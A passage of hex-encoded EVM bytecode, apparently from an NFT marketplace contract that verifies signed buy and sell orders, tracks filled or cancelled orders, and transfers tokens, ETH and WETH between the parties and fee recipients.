0606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050612495565b6040518082815260200191505060405180910390f35b34801561072057600080fd5b50610758600480360361012081101561073857600080fd5b81019080806060019091929192908060c0019091929192905050506125cc565b005b6107b260048036036101c081101561077157600080fd5b81019080803560ff16906020019092919080359060200190929190803590602001909291908060a0019091929192908060c001909192919290505050612786565b005b3480156107c057600080fd5b5061086660048036036101608110156107d857600080fd5b810190808060a001906005806020026040519081016040528092919082600560200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050613290565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108e160048036036101808110156108a057600080fd5b81019080803560ff1690602001909291908035906020019092919080359060200190929190806060019091929192908060c001909192919290505050613483565b005b3480156108ef57600080fd5b5061091c6004803603602081101561090657600080fd5b8101908080359060200190929190505050614125565b604051808215151515815260200191505060405180910390f35b34801561094257600080fd5b50610a09600480360361018081101561095a57600080fd5b81019080803560ff169060200190929190803590602001909291908035906020019092919080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050614145565b6040518082815260200191505060405180910390f35b348015610a2b57600080fd5b50610a846004803603610180811015610a4357600080fd5b81019080803560ff1690602001909291908035906020019092919080359060200190929190806060019091929192908060c001909192919290505050614401565b005b348015610a9257600080fd5b50610aca6004803603610120811015610aaa57600080fd5b81019080806060019091929192908060c0019091929192905050506150bc565b005b348015610ad857600080fd5b50610b106004803603610140811015610af057600080fd5b81019080806080019091929192908060c00190919291929050505061528f565b005b600081600260068110610b2157fe5b6020020151421115610b365760029050610e3b565b600060405180806155e5609391396093019050604051809103902084600060048110610b5e57fe5b602002015184600060068110610b7057fe5b602002015185600160068110610b8257fe5b602002015186600260068110610b9457fe5b602002015187600360068110610ba657fe5b602002015189600160048110610bb857fe5b602002015189600460068110610bca57fe5b60200201518b600260048110610bdc57fe5b60200201518b600560068110610bee57fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a50505050505050505050506040516020818303038152906040528051906020012090506000610ce86154d6565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610d9f573d6000803e3d6000fd5b50505060206040510351905085600160048110610db857fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610dfb5760009350505050610e3b565b6001151560008085815260200190815260200160002060009054906101000a900460ff1615151415610e335760019350505050610e3b565b600393505050505b95945050505050565b80600260068110610e5157fe5b60200201354210610eca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b600060405180806155e5609391396093019050604051809103902083600060048110610ef257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1683600060068110610f1a57fe5b602002013584600160068110610f2c57fe5b602002013585600260068110610f3e57fe5b602002013586600360068110610f5057fe5b602002013588600160048110610f6257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600460068110610f8a57fe5b60200201358a600260048110610f9c57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a600560068110610fc457fe5b6020020135604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a505050505050505050505060405160208183030381529060405280519060200120905060006110be6154d6565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611175573d6000803e3d6000fd5b5050506020604051035190508460016004811061118e57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611249576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b8360016006811061125657fe5b602002013534146112cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e672065746820616d740000000000000000000000000000000000000081525060200191505060405180910390fd5b6000151560008085815260200190815260200160002060009054906101000a900460ff16151514611368576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600160008085815260200190815260200160002060006101000a81548160ff0219169083151502179055506000856000600481106113a257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e876001600481106113e857fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16338860006006811061141157fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156114b257600080fd5b505af11580156114c6573d6000803e3d6000fd5b505050506000856003600681106114d957fe5b6020020135111561155f57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8660036006811061152d57fe5b60200201359081150290604051600060405180830381858888f1935050505015801561155d573d6000803e3d6000fd5b505b60008560056006811061156e57fe5b602002013511156115f9578560026004811061158657fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc866005600681106115c757fe5b60200201359081150290604051600060405180830381858888f193505050501580156115f7573d6000803e3d6000fd5b505b8560016004811061160657fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8660056006811061164757fe5b60200201358760036006811061165957fe5b60200201353403039081150290604051600060405180830381858888f1935050505015801561168c573d6000803e3d6000fd5b50833373ffffffffffffffffffffffffffffffffffffffff16876001600481106116b257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f89a82fcddf94474fd5e6161ee4d2b06f3407f63f9afcaaff5b267cc7ca96781f8860016006811061171157fe5b60200201358a60036004811061172357fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a60036006811061174b57fe5b60200201358b60056006811061175d57fe5b60200201358d60026004811061176f57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff166000604051808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182151515158152602001965050505050505060405180910390a4505050505050505050565b600060405180806155e560939139609301905060405180910390208360006004811061185357fe5b60200201518360006006811061186557fe5b60200201518460016006811061187757fe5b60200201518560026006811061188957fe5b60200201518660036006811061189b57fe5b6020020151886001600481106118ad57fe5b6020020151886004600681106118bf57fe5b60200201518a6002600481106118d157fe5b60200201518a6005600681106118e357fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a505050505050505050505060405160208183030381529060405280519060200120905092915050565b6000604051808061572960ae913960ae019050604051809103902083600060058110611a0157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1683600060068110611a2957fe5b602002013584600160068110611a3b57fe5b602002013585600260068110611a4d57fe5b602002013586600360068110611a5f57fe5b602002013588600160058110611a7157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600460068110611a9957fe5b60200201358a600260058110611aab57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a600560068110611ad357fe5b60200201358c600460058110611ae557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16604051602001808c81526020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019b505050505050505050505050604051602081830303815290604052805190602001209050600160008083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b600060405180806157d7606c9139606c019050604051809103902083600060038110611ca357fe5b602002015183600060068110611cb557fe5b602002015184600160068110611cc757fe5b602002015185600260068110611cd957fe5b602002015186600360068110611ceb57fe5b602002015188600160038110611cfd57fe5b602002015188600460068110611d0f57fe5b60200201518a600260038110611d2157fe5b60200201518a600560068110611d3357fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a505050505050505050505060405160208183030381529060405280519060200120905092915050565b600081600260068110611e3857fe5b6020020151421115611e4d57600290506120f5565b600060405180806157d7606c9139606c019050604051809103902084600060038110611e7557fe5b602002015184600060068110611e8757fe5b602002015185600160068110611e9957fe5b602002015186600260068110611eab57fe5b602002015187600360068110611ebd57fe5b602002015189600160038110611ecf57fe5b602002015189600460068110611ee157fe5b6020020151604051602001808981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001985050505050505050506040516020818303038152906040528051906020012090506000611fa16154d6565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015612058573d6000803e3d6000fd5b5050506020604051035190508560016003811061207157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146120b457600093505050506120f5565b600115156001600085815260200190815260200160002060009054906101000a900460ff16151514156120ed57600193505050506120f5565b600393505050505b95945050505050565b60008160026006811061210d57fe5b6020020151421115612122576002905061246c565b6000604051808061572960ae913960ae01905060405180910390208460006005811061214a57fe5b60200201518460006006811061215c57fe5b60200201518560016006811061216e57fe5b60200201518660026006811061218057fe5b60200201518760036006811061219257fe5b6020020151896001600581106121a457fe5b6020020151896004600681106121b657fe5b60200201518b6002600581106121c857fe5b60200201518b6005600681106121da57fe5b60200201518d6004600581106121ec57fe5b6020020151604051602001808c81526020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019b50505050505050505050505060405160208183030381529060405280519060200120905060006123196154d6565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156123d0573d6000803e3d6000fd5b505050602060405103519050856001600581106123e957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461242c576000935050505061246c565b6001151560008085815260200190815260200160002060009054906101000a900460ff1615151415612464576001935050505061246c565b600393505050505b95945050505050565b60006020528060005260406000206000915054906101000a900460ff1681565b600060405180806156ca605f9139605f0190506040518091039020836000600381106124bd57fe5b6020020151836001600681106124cf57fe5b6020020151846002600681106124e157fe5b6020020151856003600681106124f357fe5b60200201518760016003811061250557fe5b60200201518760046006811061251757fe5b6020020151604051602001808881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405160208183030381529060405280519060200120905092915050565b600060405180806156ca605f9139605f0190506040518091039020836000600381106125f457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168360016006811061261c57fe5b60200201358460026006811061262e57fe5b60200201358560036006811061264057fe5b60200201358760016003811061265257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168760046006811061267a57fe5b6020020135604051602001808881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001975050505050505050604051602081830303815290604052805190602001209050600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b8060026006811061279357fe5b6020020135421061280c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b6000604051808061572960ae913960ae01905060405180910390208360006005811061283457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168360006006811061285c57fe5b60200201358460016006811061286e57fe5b60200201358560026006811061288057fe5b60200201358660036006811061289257fe5b6020020135886001600581106128a457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16886004600681106128cc57fe5b60200201358a6002600581106128de57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a60056006811061290657fe5b60200201358c60046005811061291857fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16604051602001808c81526020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019b5050505050505050505050506040516020818303038152906040528051906020012090506000612a5b6154d6565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015612b12573d6000803e3d6000fd5b50505060206040510351905084600460058110612b2b57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612be6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f6e6f742066696c6c61626c65206279207468697320616464726573730000000081525060200191505060405180910390fd5b84600160058110612bf357fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612cae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b83600160068110612cbb57fe5b60200201353414612d34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e672065746820616d740000000000000000000000000000000000000081525060200191505060405180910390fd5b6000151560008085815260200190815260200160002060009054906101000a900460ff16151514612dcd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600160008085815260200190815260200160002060006101000a81548160ff021916908315150217905550600085600060058110612e0757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e87600160058110612e4d57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff163388600060068110612e7657fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015612f1757600080fd5b505af1158015612f2b573d6000803e3d6000fd5b50505050600085600360068110612f3e57fe5b60200201351115612fc457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc86600360068110612f9257fe5b60200201359081150290604051600060405180830381858888f19350505050158015612fc2573d6000803e3d6000fd5b505b600085600560068110612fd357fe5b6020020135111561305e5785600260058110612feb57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8660056006811061302c57fe5b60200201359081150290604051600060405180830381858888f1935050505015801561305c573d6000803e3d6000fd5b505b8560016005811061306b57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc866005600681106130ac57fe5b6020020135876003600681106130be57fe5b60200201353403039081150290604051600060405180830381858888f193505050501580156130f1573d6000803e3d6000fd5b50833373ffffffffffffffffffffffffffffffffffffffff168760016005811061311757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f89a82fcddf94474fd5e6161ee4d2b06f3407f63f9afcaaff5b267cc7ca96781f8860016006811061317657fe5b60200201358a60036005811061318857fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a6003600681106131b057fe5b60200201358b6005600681106131c257fe5b60200201358d6002600581106131d457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff166001604051808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182151515158152602001965050505050505060405180910390a4505050505050505050565b6000604051808061572960ae913960ae0190506040518091039020836000600581106132b857fe5b6020020151836000600681106132ca57fe5b6020020151846001600681106132dc57fe5b6020020151856002600681106132ee57fe5b60200201518660036006811061330057fe5b60200201518860016005811061331257fe5b60200201518860046006811061332457fe5b60200201518a60026005811061333657fe5b60200201518a60056006811061334857fe5b60200201518c60046005811061335a57fe5b6020020151604051602001808c81526020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019b50505050505050505050505060405160208183030381529060405280519060200120905092915050565b8060026006811061349057fe5b60200201354210613509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b600060405180806156ca605f9139605f01905060405180910390208360006003811061353157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168360016006811061355957fe5b60200201358460026006811061356b57fe5b60200201358560036006811061357d57fe5b60200201358760016003811061358f57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16876004600681106135b757fe5b6020020135604051602001808881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405160208183030381529060405280519060200120905060006136706154d6565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613727573d6000803e3d6000fd5b5050506020604051035190508460016003811061374057fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146137fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff16151514613895576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff0219169083151502179055506000846003600681106138cf57fe5b60200201351115613abf57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061392557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760036006811061397057fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015613a1157600080fd5b505af1158015613a25573d6000803e3d6000fd5b505050506040513d6020811015613a3b57600080fd5b8101908080519060200190929190505050613abe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b600084600560068110613ace57fe5b60200201351115613cc357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110613b2457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1687600260038110613b4c57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1687600560068110613b7457fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015613c1557600080fd5b505af1158015613c29573d6000803e3d6000fd5b505050506040513d6020811015613c3f57600080fd5b8101908080519060200190929190505050613cc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110613d0e57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff163387600360068110613d3757fe5b602002013588600560068110613d4957fe5b602002013589600160068110613d5b57fe5b602002013503036040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015613dfe57600080fd5b505af1158015613e12573d6000803e3d6000fd5b505050506040513d6020811015613e2857600080fd5b8101908080519060200190929190505050613eab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b600085600060038110613eba57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e3388600160038110613f0157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600060068110613f2957fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015613fca57600080fd5b505af1158015613fde573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff168760016003811061400757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7af98fd25900fbe0558c03ebae6ae325e236add5d6a001f3c05b77ce27b7048b8860016006811061406657fe5b60200201358960036006811061407857fe5b60200201358a60056006811061408a57fe5b60200201358c60026003811061409c57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff166001604051808681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019550505050505060405180910390a4505050505050505050565b60016020528060005260406000206000915054906101000a900460ff1681565b60008160026006811061415457fe5b602002015142111561416957600290506143f8565b600060405180806156ca605f9139605f01905060405180910390208460006003811061419157fe5b6020020151846001600681106141a357fe5b6020020151856002600681106141b557fe5b6020020151866003600681106141c757fe5b6020020151886001600381106141d957fe5b6020020151886004600681106141eb57fe5b6020020151604051602001808881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405160208183030381529060405280519060200120905060006142a46154d6565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561435b573d6000803e3d6000fd5b5050506020604051035190508560016003811061437457fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146143b757600093505050506143f8565b600115156001600085815260200190815260200160002060009054906101000a900460ff16151514156143f057600193505050506143f8565b600393505050505b95945050505050565b8060026006811061440e57fe5b60200201354210614487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b600060405180806157d7606c9139606c0190506040518091039020836000600381106144af57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16836000600681106144d757fe5b6020020135846001600681106144e957fe5b6020020135856002600681106144fb57fe5b60200201358660036006811061450d57fe5b60200201358860016003811061451f57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168860046006811061454757fe5b6020020135604051602001808981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019850505050505050505060405160208183030381529060405280519060200120905060006146076154d6565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156146be573d6000803e3d6000fd5b505050602060405103519050846001600381106146d757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614614792576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff1615151461482c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff02191690831515021790555060008460036006811061486657fe5b60200201351115614a5657600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd866001600381106148bc57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760036006811061490757fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156149a857600080fd5b505af11580156149bc573d6000803e3d6000fd5b505050506040513d60208110156149d2576000